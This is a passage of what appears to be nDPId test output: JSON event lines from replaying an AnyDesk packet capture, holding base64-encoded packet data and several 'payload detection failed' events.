7WKjj2gkguGBoVoW0rl9G9HlJjT6p3HR3+GVqpxctFWhrqbfn2v4LVvOQs6SKBWKvWn4gOHBe8xoC2P8gRrM0075M6L568xX29iT8C6scuz75M4J17y\/PscouNxGRB0hXx4P45\/fDzUhFgs+hFLMVO5fQh581Ds5D3wIlHKfuBFqgN0KYfR4Wb3YP5pY4vpWVodRemXRs\/XVG9pIepeffoPWhvsf4j8fWFbdYairub2sLux9N5ib32P1pDZuzqzKeIStrMLDNFHzIiRihnfnZU+xycMBKEkmE2OFqMJwa0JIm+7Y9ffPHxQs5lz9T+1GFPW\/uguDxtOGA9OSSRBEsZilAEna9khHHr8C42JpawX+P9m33MVxu2PzUGECiryjb1UIraSkdbj+8ETWGGas\/i6ugwgL2UDit1EzuZWqnWH8o7ggv6JFWMtIHVFqvBG+mxl8Ic5RBnXM3Csv4gZ4EHv67U5cFl8vAhNgYhYffQcGjER\/ap4k\/EslqV3DW+eAx9c5SGhjugInSt4+BGFqxavgjtVi9KV1noVuZdKt6fC3+ZANPEJvnSCim9BVBBdwmKmpXV18XNtBcWij\/R80BX49agf80ZVdVN+3Sj0ZCdum\/MqqLH\/pglFvSKAtAuSi9txn0Z\/I1YvesI74RQbRN2jRKvH+sNZ03+3T+4dWjD9AWIlr6aPJr4nZKLFYkDrMyVC1Pw+0Dnro2KEDSRsWI326PsdeJhzYgcA4\/01hGLjUgDk2KGkfjOMn40flpT+J5nx8acxtlKmFLt69+BxAyhbse3BBSEubIVs9Mwp20+f3dw3WtyPmj\/Nu58HcKFYVO1P273f\/iu0CV81d6a9BRwjTg4XpHzR+KkZHc68ToC+F\/YIKOFCm8eIIa17HJxdZW1Xu74oFjzyMjbirhbhMGRbzl7kzNuXZ4LZNox3X7XqhZqo1du6BfTdXkiBHKlbitWeD3p2TXFiMNsNiQU1UAniDTzVgMJ4MXg4APHv1jtjrEasqpR6+ZP6KgFKiiktdbw8Bbn4BZKx\/vj5hWYXSrfhPbtpzOKfCPiHHO9pH2i7C3rfT2Caubxmo3geRFKy1YTzGdr0ETH\/gY0oT1uiptj97UOVVzDTkUB9b1MBH68QqEFgeuL0GnwXLmBH+C7TvwPHci3IceuNDJa6Zo0LXOkd56Hr+xYj3k7b1NnkLfAb4d7umFG1dgdLpCJmw+TNOB5urqvRnCKX0a0qeJMS2W6nbrs\/YZWv+Jxf6HszgKdClJL\/9MPsKlE\/FBYpgbWnJR\/afAAKJ2T\/Kglj9mCyGl\/aKhx+RxC72OxZ14xYOZkJnIce164GvDnJPLVxZ5NGEOmz568Q3NuHM4qRAIR1AHWB68oi1YN3kUD9iBOb1qYycVNzit+PB3zyislRLrGHUEapn0zP330bb9PSaiQkgphXb4CZeg99I3U33PRssFhyMK3V+H27u3GdLQOqIu+GHpNYXY9Yfpc41KC6G6DmVxncntQb9JQsY462Wt2eef0w0bS1ZfMN9XeJmfZER7dJVPBgc0vneHc9PIWB0FNJPckhBh8i0KuuXJ2ZlnyNoqrcdRt6F21gVbdIbk3zEg8ya3sCZlIZlIlnklpf4xXB2sFDIqzRihW0X+vmoh6XXg4X0RfIrx2iUaoGIoYEQvAP1kUqoJJHzMKbrQ0ZqkV7ED6WDjJQwXf8nYldy\/P6RSDEVxbqdiLzAP8EoDG6IsS4nkQ5DcVpgX62lHxyAW0LbMwos10GXcDvPhR6wzm5RNQenZ97ixph3S4CTYIbs6iOnKCvdl4nl00iHf0t1L4bCAdZ0NDroBdAdpQz8jn\/A\/8ncjRzcEnbSp7iJHmC8wOktB5ZYO9a0BXCY7gLU5VJLFl9uokgiFia6wh2BLRnbNPkX0D7UY\/n5i9Fla7B+1hwW7jNBtrE1a3zFeWZIkOx\/iD4sxPCe+qGMwT4KJemhGdQ6qFIyU2avWcpQXuNQp5s0X1AvRHg\/v76cNApUmpaPs4m2Oh2\/owHlOBuf1cNnmUCCSSv7eju2UqDE\/IxIeeKrq7ITD7YAr4r6TuQOYPVBDFxt7MciZXlsongvFeMM3vUzLKA\/hAu+05w4EfocduCExGikPHje9ECQeV2d2Zgu6+2KBaeg+g7QeMuHkIHofCDkTSFHDCr2FRvoRQsKhA6HoEJWpE\/r37033Vi4kB2ymG1CZGngd48S4xp4ar1rD4NJOHdpdDPLl6hND7hcochAGmfz6SFB84cNo0ZhyCa2uaiS0Np\/SCyS8LdLo0m5Ib1VmzW3VWl5PQoVMQtwDPZuib+zs5e41hrOYAUAMFhHfvLIBfUAyNJ0YIu0Jo7hMuIMwgAxGdhCJCclKozgg7hnPSAtwfNBeHdfPiAU2St9ciG2J6iDiZ6joz1k2vPCZImqQExX+g25YgrrY9hCstzfyr3kJupPkMKI+QgQXoa4nnP+DGPGm"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1042,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07817{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1043,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":483559,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAe5JAAIAGAADAqAG7wKgBstOUG56PIZNWWcQowlAYIBSExAAAFwMDFXdZ4hNO+msVlzRtCIyM0aVkpi2dqjehO0DoLqQq20GVpFsULMlYTh9sYoKGHvftCi2bysBLk4sjEdRTSvicuIvbp+mY9b9QUkXI1AnultQdQErPEeGtooJda+BkaoHIRxnSn00khZ1oKmRc53nS4RJTyvr9N2CiXVPPNb7fmg8sHCzJUpCTtWdfRBI\/E+Py8uhIfqOJ5mXKQG5yjDGVfBZzLtl5J3ZkbcJBJZzG4+tJ5pjCy96lTZ7l5+53LhKivb+WyltJD7lHC\/fXwhyEni9ODKE1uedAyhkQm5aKSx951DB\/97hTbOUOEGpLrzicMboqAWqtYbi0LpinncdyikdtebMwjwuqHUyEwzODvMcuYeByl1gCdXUyoccNHOmxjUyyRAp8v6g7nqjRbLgv6NCyK2xDAaODOjPImfHXCcKCiy\/s2U4pZypIaWwAEj8mAZz91kIP91zWEugnasTIT9OF8Q5NgqSoDRZ+v5CEEMneZk5P97Ffv\/Fpa5Axw3ZPz2Q76AtCd5HB2bCHa7cghmNF\/nb0h4ZUgr7RCzl46XkJGC2J1QELfxaGP4OVZPaiO+h3+0qQuluT3iao52x40mpxL0mYejEYI5nSWytEwUeLz051\/vLaPy+FEAnC8OEJ07ICvw9SCDE0yauLqMha7a5aOP4gWxLpHRtF4ndHhoji402ddwwnJUFAdRwscMkxoIFPBpiuEKD7beOs\/VKDutWebiZqrg+G9KIqUntrLL7FOMd7TuwmO1TkXx4Txga+XXO2\/swBnzd3yRAQS9O2aYxlgUaDLVjDhS5yDP8D38WB5s7mS\/\/Pt7yL8KJVClHHnOEuvI19jFc1WNcr\/Mq4OsQLdcSaOgXBI+pOru8VbhtEMY51KE5giAICzHV5drbmGQVGtzmZ18MroINKAtjWhkN048jCHS4Yc23wGySizAsjVNgc1jUj\/AHm7wW7fY5\/xQLJcqNiSOGC0oG\/Qna1NJbSFJDulLoUro\/MzmQMKI6z+KfxTsCUk730xMQZaZHQwQonsIvQeCi8ANWkfJeh+R4hvxnzTlgRJyt4BeGvpFNPaWsz1GR5KuT4YPMOp7V3lmdg+US+Ci7thK7erjY8gsTo598QKujCsQ+yjMprhI59Xizt8hFnDa6K3+xu6iqDe3\/4HeJ5dmiy3Y+VQEA+eq3nNkcQs+Q3zS6Bhn8hx3IEdLPZEaT9Nxj0AYoFaJKNLdAaogbNKeYYferCrEje\/yI49clU9am2tC3MOC2QoHnC\/h5h9FHDk89sw6Rk8lVo+I2pJVKSFFtIM0KPbyRsH1u3VtTig5p6SQLzYos2MMgQB8+WyzibCpbGt9WwUjvAEDbTrZMyzfKf+Y9NQnsRWATZ9vK+kXMV5GB+x8buHPKaayomKJUNeC0WXYJ2+IPghCcfNZRQa\/8HZ004jiIiLv3qliGTRFI5S8Da82mwePmHPzxojKsPRuk0GhZBeUTqHkh3HEeg0s9msWHuzqf8mEJR2MlkFQnYTwp3htlHJcJIfYVID4oYfxQZo9wHW26cg\/6xYBmoE9kqHCCkyTMFHxKVHmj+t37\/lsjdW+NLsioauN2D608ylwBPE\/lR+LHhugoIgpt9vM\/2S94cMUA8teXgcUoH7AzUQpxKvX5ZHrfYG4EvZdPiLPaq3mJXC7li9TeYnrCuEjjr5sCIsph+KhmsXiTQCPvZGg8N9jgovAECTUdktGw81WwwarD8fUCeu78IMMnxKDEaUhk5jbm18DxwVj+LrKSOZqcmAmpBD+K6vrZ+3oO1qaCp0JQbuvgLDA7bpKoEl162NwHYCg8mV6vcsqhvixoLf3cLsPzrqRPqUsgdBd04u3sJyf+CI\/g08GHMBKy0bT8leYhfjRoY43\/RbNEh7GoREQ3M6QBCUgY3eTZ8D+xSlUZLhuMBCvulUpANTZxmbRj658hu5os\/k2SY9ea\/moRHW49+2SuwNAIbIJvqC2zkwsvFOpvbyoq2KH2krLsfq4C2r\/EEKB\/GLNIb6CJN6MZEAbyYnZhIHE0Grtcj0Mypb2GKzBRpg4ZHuDkJANc\/FKSePO20bSVe4RpkjXsn06tIS1TKKd+qZ15deLRCYlZ1H3U4L22snzpBvwaTjBkRTFbnEGe3H9hXn98DP0kbGRXPFwFcFvotTo43xCeOYOh\/h0nhTnN3drVHy1W93y\/WUqrFPtfdfT9Khna8x+ZdG0JKX90evcAO\/r3kESAXIus7F0a43PBrNW5peCjIYqn1w9ADkkDCc+lZgDuC6Bsq1+PhV3KpIL\/csdHKEyB79s3fuheNWmSWVur87s05K6wQP1ZYw2ZlCcO+UHxyRm54NlhiMtfb06LRV5O3Zinn+lhXP0WTRagnPr+MlBSE4CV7Op9o783UcWhD8aN3afKNKxhomsG7SrUeYG8yeZE0mS7fBgkKYJMt35bPCshw9JjLg0f9NbFSJ7PS\/87l\/2oPkkdmaGcw2MCVgmbF9bL9esWJ1upza2fWiahVNh\/a0VbSdopmFBm9CKgSp9blK6S+rkqZ83RghPhZGMln7gO8AytvtG9pjGl\/Uu0Z7Jhv4XHpDC3QLp93ugnbdcHfOnxtWLDaPIZEnZhEzmC1a+VhzcnSdNLb4fMnrBMjJc16ZjaQuazyZXJvNKtsBEBii6Gpj43jw9muhPzIaEd1B34JUtgAIyfSa702uM4jkQsJgnomHpLWd9IMXSjzRGlNYbwJX0UASvAQDKopt\/fWHZ94XhJ0srB5jI5AyQZW3f4eQLaE4pRcrHf30sRIXyY63fVokyLNh9Uo2PG2BgyFwVwgT31PhfFchHkpIotcIe5UYBnML7Nf\/LlIHFwg0vNWaktxnA\/xOcj2REUmkH6rVIAheZE2\/bQX05QzfbSiBzR6trm7GkrkykPufHzJaf9I3n6VWrx8eZUsNq37XHPhvuQrpBpCt6e05eELF1v8SfdUl5YV4eP2QWU8zYw\/tw6esoaD8W22zACim\/TnIjluOj\/pPTUL0IxUGJmsaY22LZI\/NdiFJ8zHh85Zs1hlfoYBBNcc8NAR6eIaglGCLBgF+iWBGpQd94Bwic3CkUyqOV2G07D102mZhvcGFrODoe\/rHiYrCDHtHBGgEOUr5ZWBPmMDn3PiQZalDSQgB8CX2QnOMZA8oD4njlYwx7utirrLWT78haV5\/rM6fYhUMeHE5GjB2u0aVphqvhx4UL\/Ud75j4iat7chvjCIqMbllsWUR7BE+WteNjmnZrkuPA9dW5G3dDfTLNmKGFY23lReiKHSGBeAw0as5LTa1sro6W41TAFO8oNMHC3TOQoxvE+r5\/Yf065JF2ZWbseT+gFIOkwWuI\/uOB8ra2X7rvCa+l0QqCNBieMYaJO9\/pwfrFh34o8ZoHgnmTXjQ1aTxhk+ebpLDXiEWG5MTzupyd7XMnbeSiRfmNRJWsEmtO8DsV1iNY+pV88kz1sBA5GrGeNZbwjdGWEOfG8Xajokk73vrGVK4mokQl+RjK+eBrRh0y7vK5z56Qq3bYt64bQcChOdyf15bI4Dtv0WuN6lCo0pvOIzwKIENgbXF7HA2a9fbrysuSQhyiAoRIP6DIZSf5FqNeiBpAdes4kaqczskQxzd0BTeoO4vMy\/PXJcMtigMSUaMmqc+hFZ3DhbAlm9Np9tceANJyEd06293IbCmoQwUFxSIKnqLJGybgptxF40tbbFq\/+tIAWeFxgDFD+E\/CYsRCXeczLXrAK15oDQL6ryRKgwAP543PbJ2i7p2cWYRG1vhpfJ7uG6jAZkjitFdQTtFbisMSV5hQ5V\/jJMjkOrbIkvMAf3A2Rob5bDnbNRDD6kELXGlmEYhBK7LLys1JTQZ7w70is12n60SXH8bcy6njHJPQADqEzKZaM3vG3yb6348yLUcY0gcZjZd9xtC\/aoWXvRFVzC5wX2aN5Fq1ivvsmdR4CAg7Y5OU8bP+5UaeKtQqf0jl92KGZI1LjmVhBY23JDg4surX18hhs3FTIWYPXAOORak+jMok4V\/maXLJgFdqKg6\/FKMEvaxx0uqPMFXbxqT8EBljGK7Qly1+bPevMl8VELy2JsgHLPLMnbi9hwCoxX8WuglZHA22SdSzP\/F6kY70RW\/lCD8tFU26hMOuIALjB8afOqV1fg1LU2DnZLxUrOZSXevz9ixuVtIrLHhIW+cNiCFRKqizH+gOEPwqy0BfUEd8vgX5x8TML\/93JdmqBwGUemA1lwpZHYMAMbq5pclFzQfahXDghjIfev0OGoEt0lOGG9eUgzXgucS6UmpLgwNGSCbig+QtMXU9BVoWOOImOg9g5wEYk1M4tYw6XaieCrSZgGcuvleLCxSgI53RlpQJ6HpPzKrcISjPia6JkEIV1EM+yJ95\/dySc+og9k5RdFfjjL2N8PSyRmsbts5MwuHyT49T51FJdcfhyT1HuUD45er0uOma0MFxq+7SzQ02pR8RVO0q4S+TaZujjjeoaSDjv7TaAU5xL7P669YgxKrazT37ayNZH4ViaBdUyw1fwLTaeNRcfX5qnQU02zpePn+ZnexIa7Is9rhtXkyHTGK3nWADfM\/XGAtqotGqK3XjTMTAHAySmq64xPZMFbNqpU3vF5U9SgClY8OSB8M5SeyZF74uZVQhP4hL0+qYFTubKkYFJpaZOaeG5QbxJtwpHrcPcue4quUrTbZIMQj3vKTPhDvmIQPKHF8er4IKu12rPTHSPL+kYSiEvikw50fEC1h1Vgx0QBbxvSRKhV1axqkyZnbYtnBEuMi+TZkD4JIqzd3c3WG92fE0ThbVDpubve+rlmqelZR1cVOR5whF8DzzfiXVlINtt+sFTEqCFfF+S\/5Mqj4MMR6sB6fvN2avjBZaA2bhd4g0xflgm2GGlcavbR5khSKiGNBSXyCur8UdItjuT0tUsIxm7zrweT6FvIUrHmT4Yuo8Eu\/md5MhogTDS9T02yJDN2KQzynoIU\/6nxgudfdQgmJ3vhK+9lGOYyN9llqUhhrb8ZGa5DZmhqX8WMZPNHrqGLddltfV466xLmcTG62UzKJrmr+ZuolgLyfUzO5qCodVb\/lG8fN5Djr7VvaZgQlKZ5r+EHkjzdO0MB4gfNSd9gvPbaJ5BJiXu1CsypxXyrZELZOdVKSNRsWIfL5ZO1z6ikGZLK699QmJh1mQwUVB+xbL6p5qUPjkb4ZeVZPlvHXkXDKq9G0KBE+8sEtBZfgPTpGlq8uH\/cqp8l5\/LPpkFsXyDu\/4aDhLXzt0EJSYv3B2ryLe1Lt2z57vXc4PeXWvec+hnBgyx1A15XE6VQIRP5Wk94DdtfY4lrM01bc4eFOzm0nsZVUuRiSV8VrPX1vBTG1L+LDB4vc1KkjQw8hL7wM6o5oAEUKe0q53nGg\/YCUXOq8zBCBMBgAWx06j8GrNn2OGwDZkTU7sOTC3MFapzZO25gSe6B4o3BdgcmJ4OdrsNWjrGphBQopQURyIf0TGHeYO4GM7iC4GQGJ9jnwfvk62p8CaBOAABCgvz9t1Nnl9UV+km6rEYgsfuVjEnMs1WEXZDl8Z4BIW8ibTFUCEJfndztMr1PVQU9U27Q\/e9f6n\/Ijl7uSycXSxSSquz4QktSzjVmJuZXFmdpfR6LsLCqwj5Ms16pWc1Vl7kI6niNsI+Hpr0xXyaa1fU7ZlQLfh8kEh7zrS3\/PhtvQNQ5GByYFt37uU4Fd0CIUsya7IZVxcV0PHiWmqBnkXOMq1Y+qlwOS6hbat6pcKj68CaCI3UGKoWNJI09YOk6G2yWVXBL0TDGpDANCflgeyTjdRHDxPNd1ajczKHCmG03+TYMGV86+XUWg6alhSqGCgydDLGTPh6+FJlcVwzua0Rr8QceIOumOsTI86QPEVJ21AOJZlhDzLkimqqDvnkJ4x9YGZpHipar8M1lQVBYbBhh2G5MtRMLK8Khm5UdlFFW5L4x\/XYbJvBTfUIDrVdVVCOhB1JfVoP6T29BQHIclpyCV9LBdUWgOesqrWxYtWk4r+itLCzxmpjiM+4fAoFI03glPC+DRARCjdfy6V2WPG7tLqa2gdd+KcswRMSfxHzpRuwRE0ZOv54\/0anGZbwzXUIscML4aPVbppYHo+GckH7RB6F9OWSpvVMYvTYlsuBrncvZkYlyRurDLBFLFlaa\/SF3ixODu1ak23U4j9F4CAKvXxvsPU+uXIjAvZgA3RvzUw6ltQ840CZ\/sw0RNeKz1jxCSprRam+K4oRgNBIo5iZSvaaQRJeVrFMGJg64OpbsvyiC0wwO\/n\/VeMLD\/zOoQ+GsSXnROHWP7g6m5Wzro4+WiAfLpajwPVT6JbdT+5NJSr8HfUaij7FFp5OWx8tpSg+7P2TOmEs4I7KeYtooCQ0AlJ9n\/nFUIOBalDNjpXjcdUWlW8B6dtH3asTSAo0ZYQBesTH\/qKbTndlB95XDx4BJEUjyzeEMTjnP1j78pmgckiX8943tU74yBL+CL2RtGZF6bZg9fXmkV3djpWDfv\/Wfv+UtOq7LDjNwyXuMUBvbOl3knIbNDPt6Pb28GflbO9CnRwbKwkEV3yDRPRbsFMbyV51KW76yoC0mbu+odqdtWnP90JxCWiK1cmEzHf42rRSn62FvGjm1nl\/6hh\/0BuDJZztew2sIt9F12Ysmus5cw+wZwt1sZbM2+MyhKlpmXu6WKcX4WgvBWyL55Eh2c\/AHc2zsEuIi4XVKzcLKyMzP8sD\/abUTynye3FIqNSELCdApqoMtk6q4fK44ngJAoMD\/h3ZlenIQALE6pDFrErTETCDyBy4lGIziNOSydxlJa\/HRx+\/NjLLuosA1pqa5\/Yznp81JeZYdOjc+UptsZcjSK\/8rA\/KALskTBX+N8WP468IajxYJRaYiJfT+Mkmyt2xy8R2ltPGFU9fhM1eRpbuWfgJZGQb4eTuwGdcSgFamiu9tKUITViNfOIpW14sWAoEPQYA20tFOeQLR0yws+cHkych\/UIpvu4TB56EvLX9YpV8oWSIkRN3LACg1Ackr2WQKUclc7Y3cQ3LgMR7d2tSCEzb\/pDxSv3oBgRJrN8y4TNJ9hJbcWTpPx4LeIPEzzm6YO+TlAqQSCQ5FNIczt2VVye595pXIhE3Ue8Q20HXKXd0QR+q8hb4tHb4xIG+vZj2ATu\/VmjlF7KfGNUmFQHvNRN1AmDqMo21QCHmvLoO4sOxzvUb\/qXFgLG3X4Y9dURS\/+9fxA\/dig16tYZUEElUl3zHrr1s8mZbiDtYwp+Yv\/66bITFMqLdAiJld00n6ABjVbI9SE1lfqE9BnbtREmIDe6WuP42rBndk6wM9+yLNxxVs1NcYtOdF\/j4wfq5YzYnyBfdqUhjE4ifCr79PEMn3JvBUt+Q=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1043,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +06929{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1044,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":483582,"pkt_caplen":4899,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4899,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAe5ZAAIAGAADAqAG7wKgBstOUG56PIajSWcQowlAYIBSExAAAFwMDEuhZ4hNO+msVmIKnFrJ6LcRlLiF8bapAQneifAagBBhiErxQag8+lLwZPFL6wscMpHoMgA34WlqK7w8juaGszP1Wg5EjBy5Kah6WYiOId6ahdZW6tENoNbWcZfVLKgI6D\/iRS3012mkaq+ivPWccJNPRWwdnxnQ6hjyf+pcY3ksTGc+e8+uE7CCmB7UEjia1yNkp+pwXYZpKBjF0oJD2Nh9+NBSIMbu3twdv1ge3sw2RR1etE6xQPZrdwmpPRcIbJ3ZA67ZMFQqCxwXDCqF0+UWJ59ekfj+LxPNd5D6Ps6M8QVD1kGLEJiGlLtlKYmukF8tImQZH2D4AKhr34NknBsXYIGKn3svy\/DlwHrhDV3DO0ArdL\/dxA+4w5Ms5U+VTvUnREewJRH+5HXfnysXQ2w0NxWZbI0G\/5Zn2h62kGTSpXEUqebX7ieZJRsPDCKqh2ouE7kFiJOuZLJKuFZcNJfw8cQ59QeHuvDeyxpJvDlKwsNw84ZSDTa92nABjIluYxzvhYlAcS3CpEM35aPJgISXPaZfQZ0cvs4CwjLYga92xONr6eEDj6r80oq83Osa2jmu3vdDACuMv\/4t1ac+21pm7UNUcVnELBv39Pb\/XgFgpY8GHutlIzEyr3DcVINy0L4i+qRX7AzUAd9jk\/V4O\/VBwac9t2nTvCqgpcDlBErGuTi5nkna9J5vXZKBXfOeHVrZbSUldrxekQDiYfSq8RA3OG5leRAHvEvWasEeG\/FXuXoPmzAttF0yRV70gKKRpfEjLfHabByQTpMeObfAsVCkMoTthtggB27DF1fS9QQ8CqXfS1rRpjg6wUn7aQgSeZLnnMmeSVl2u0yDzN8bGlElUG8IaKkafXFBInthSVmU8wyh80Qw3YQmAbeXlMEEH5bXYY9YBAV7KjoRG\/ltkBVNUjEbEOc5i7FJ5\/daGpBjjWxasalYpt7Xtwkfp+UU9rEDAETxUqYPNbe+AEK31VdJk+FKcCbDkkWU7JldyAkelJVqvsMc1uDSg2CzJ+ReHp7lFzgkFaBE7256GakuONPJ7Am\/dSeWjYKGx6aPJqRhP7JTKySAV09q9OMWC+iEOxNNObAJKFyr6wFN5wUe6E9OUl8TFuQ9PYEZtKtnoVAS6k2DKmME0J9tHXhFYPP1wHnNj9GhO9oPXmnv1CfSU+UWShPed9e07BST\/Nr6JxSRBNLNZsEy3j+PpoV1qcuLCsfYO9CFGfYo04UcU1rmYVQGprzo0rNqC91dA8gCsbUbVsAdwLP712ap3ltiunrwuqi7mq0ROnNuWdXeRkfOEOkNerU0JgRjHGp9CD9aUSH6hPUvV9uo60RCVB+R1nseIoVlfsggVD3osKsUFOPOFuHD\/2MXDq0OuCqPH3zROfvzLj7Gyx6\/y7l9wmNliUsSXPH0qCx7OekJEeoLDfXUtyoE\/VcHVHchQEV2RMGEjJHUNZ4ggP2I3ftuINWSkvLm5pccounJ6xVGzHwLK5yvrjhyAhMi\/2nFDbqmnrM4+QoirK2X8ph17kv81WXdPC\/o9AF6iTzyUv+oC6gdFpzPH\/hxwaGz\/x48t1MmuiiEZbgCPJL6dQv02gaHPck4ZHkVkqYrCC61ZgGggeB52XDUF17mOp3TFOLzmnoV9fmAacY+N5ojG8jzSktrvwn0PkLsCyfRmTAewu\/3tLZXLSHIcERdGbpZPnD1EP5iCnqUeM5hk45GpmroWKum8TEd9XNS+DVS+6O\/4kWY3KsBF0RzAqlNg\/s7ZyZKaOopIkQWcArH3LW4kjNJJ7LfjbJIBke+U\/sLqQhcH2oexddAQLsRzyOgBXS6DWrORmq7S9R5mAJju6\/JuLtNZuKcWJt8CdB22NksTboShG2ZcBYbmDn8cyDT3zC6VIAKur8dO\/ItUmR7tGRfJgoyDL9VCQoGCH9HPPGgqBBECxTBKZ\/gklgJ3xoTli+IO72q+GLQ8mJDGdgtSUxhO0ekCujRqITRZHOlUjs8yR5PX9j\/D7ugmTOwol5pLLqNRDFVq6iBiEp23yd7eIJp6OY7m6xMWBXu7UWzIrsSkLLuxY\/DZMa\/\/h7pGlecDLdMVr5qOrjZUL68AINcwt5Py+dDIP6B0cvEVKoMEwoeCtkkgoWjQWJ8kgN0KM47a74tJHYcbwD1tfKYbM75Bh4D5YEFnYGWKfOAe2SgnKH\/cMj0f5RmpAc\/2Hdxyj3pTyr5RGFvk6QZ1Bgq1UUhDN9Z4zrvalEC48PzHd0\/ARUtsqiZc72KJsstwwkEnZwivndTYuE12y28orS77WRA9NoeynGDy2YYbiWwaOszwhhb2i8AnJArHpSc0NEl\/Arj8Nd6n5tXNoKYsHe+7cvLalm03fSWRryWKnfwB5f+nDPCSFA8JHVYeu3+1ITpKGxOQFQLAoRViMMmMLlK9cu3PBS+IlZoRHJd3Qm3fBSEmkGEkRhfcF7IdfgVydUBa9SsYBJzmyFuiUOWliLi6igvdlZryv+uJq+kXifHLxD6xjm59GarxcE1zZCRJOz18NazN0emh7C+sICF15GBvcQ1Hy5qnXo5swA3w9f0c\/xiIdNinvFJoLEIFREfJUHBSRsUHEiBdCVuV7ekAG9xamWGAOXvnFh8a9H9UuzD768AuJ\/Ozc3kMVUsK00WxoWB8PqKtYU2sEAjvz821dhZKizFdI\/NyLueBm32h9G1RoE1mC9ZHCP3N\/KFn+xU9xqznakAEKtGI\/iqwZJ3QV05vhX0jqB5nU5hWAmNAFr4bK3rOKVEFaFE3qEjNlxf0jRTrZAEkc9bg8AjjB5C21QMVY97XMyfzuR6C2q8ZUYHWKfHcaR1MYTS0quo69lGd33qZHX3lo3W6bQCzgxo06AE7DHkj2wMzYmxWsQtj1RnOtKTPAJMQic223TwcEjGsDuX7uWunlMTk3AUH6Qx3CplA88AcgaF+S\/9bjwpEqY61pO+2x1Jbl6M9pyZAvn8MokNo7Ec0+vIuRdLFuPh2hKMmPaGJQOzZm1T4xMdg4cq2Oj88AmUqvGE1ftfaJE012jEAoY7HGE9qX48KUTjKJ+24asBn\/yn\/CLNhelEHS56rc2tu\/zRDUdNmW8zfvyl5nVJ99yi9lbSl+Ht+THh6oQT5IPmeXkDEBIb\/seFT9oQCNhISzQ41gBe18Hrqpk9xFpiTJHvOPYQc0\/ACjZz9azdyM90ecyb0qRZ\/t5GApsxci0S4xV5Pn9jLwIkgFVIr8bsjOcUS4ED+N6yBFdaPfuio1sdkX3m9IAfT9HFlXQt+Cnni4Vxua8eAl0zZpuYCGl63i6zjib2VwPy5U8qp1lvtbeL6omJB+WSUTsLOnIJbhL1ZH3mLuG76ci58qUZPxoUfXI2wXZL7UA+QUZERF4aQoNETN8UxttVVtwmQlxmLNeoOlFCfpIFj\/JmnfghY6gR5Cqozq1duw4T9S5kmrKY9Awr2+f863+olOwTmvDiVgbq0AapnYc8lx80x8HLH6Zl6EcQi75WHy0U4+7ce5B+DFWAwIRO6n\/MXwc+n2jmc4FX4Fxbt3QZcDhSCdLOVuqmJZGSn40Ew1yL6\/es3iA+9VfWOq2MnaSqHrdHUlwlHaO39bzbHlftmULrIwfvCgmnWixb1a+7oHgA6szs3IybAZaP+qpIvWApdFHHd6AGKQRcaPoPtx3D\/AZ0MCmHy0BmP11hXLQm3Pw2P1ZZOhr9f9PCIn3KNadasOjaY0aDjvHR+eNoV4EUCA41bNV7N5uHGcalxCIME3R8uEZfkVN\/9mJf73Z0qDVPuK\/DuR8q0\/YNcBJPJNO7cvWF9OtHsiPalreT9H2ei2xu\/nbk0hFaRkeHtTieo\/dtxPa6TKul4QBozkxmEOmpSuabwgAWiT\/BO82lHOV8kX0MR19Q1oj+Ih2mQkOSfSV7Qf15YumJylDGvgK70ejpnpIyuN02NaVV5IRcXnoKMqCfK7ZKhbupZBv68C+WdZrASZ7z4OAWM9LlrJGaifWWSc8uc7vgRo80xikUgFJLs18TLcawEjdpb2QRLWl3RC4qg2PL9q+wVKNUmaPwx2IQMbWb8lg1MpgQFKzEQTv4WG7JiFWX4iuirtxne30HQUu9F81GcTguz5l7yKs5bzsYnreemqfbayJgA8+j\/2ZfX5pO6JJCut9403EJ5V4Cok7BqKIJ9B\/gdrxem4zuOtElYfhQja7Y\/E5K7HTssebVnOWfWlY0\/GhVwdobs2e0ZI\/6acaPR0N9Jl\/9C4X4htzqZ2WjZgo6VHqq3XEX9NagPGPqb5nSvau7JNx8riqjtnooY1MEvQzpVSsdspQdHC3xZB6fjHgsHqWO6bqrPFhwQ2TkOFZqN+qkOFQW2gYdXDriQv2JvaYxsD65MCgiuPZEmTCA1Wn0ZQ6BaOfENn700\/ZT0W19iy\/hRwEttLxOleXsF3RkOK1ZxxtYQLCVe7\/vNMHa2J69rw4mKcsaMH4bHvHQk5JDVj0EDohOmxb3dGVj7o+j8bxa5rQEYmal15ykcZv3jYXWAYO0GVONDIP8je+BVvlS+5bi+bBcR\/MU00fgY\/XCqwaFp+Ppt1YT3i4ZWeI5aX03kXcZ66Ql2kSy5ShUGzaSNH181t0x63hMdi2UDRiGdKSU8tbIy4VSHYvaXndwlQabtnSv3ZSvf5mWyk45\/pPCM04sDBhPPI9kMG38Wna0mDxMpuLsJPvwjJ1pBbCETIDSXK6Z5WimJq3zHScJqCWf7UK1Em7d81g7iFjWqdvsUUOXzYrNoIRvy\/yVUzn9Els1Sf3ObJn0aD5ljLUPu0wG60PpF5rUKJospNOvUZ7sqcVppGPOr076rICuDWJ4vC7llueSpbcX1BNJCk5FhlxajcAkUG7rm75cvI030htNwT49t8vxflnTWbryRNjVOHwEm1fAOfhg1aWjBgsEs1Q3b0AbfRZObdkhkp0HoStsjEcF0N8reZqDPkVNrCSlxJYydVZQg\/pXSM9BaI3+LRMFCllqUPy2QI+2T4LmYlQIaPiZTY\/9urkrfGfykVqyIBBXFxlHuAMa2a8FDQuS0p6FpUHpRgXp3j6XkAsliTJzyhyJjYY1s6qewXXHHuNjou9Q+qk+Bhop1RR4fd6Uwfy8eaWe5kiSnWaFMKHia2alF\/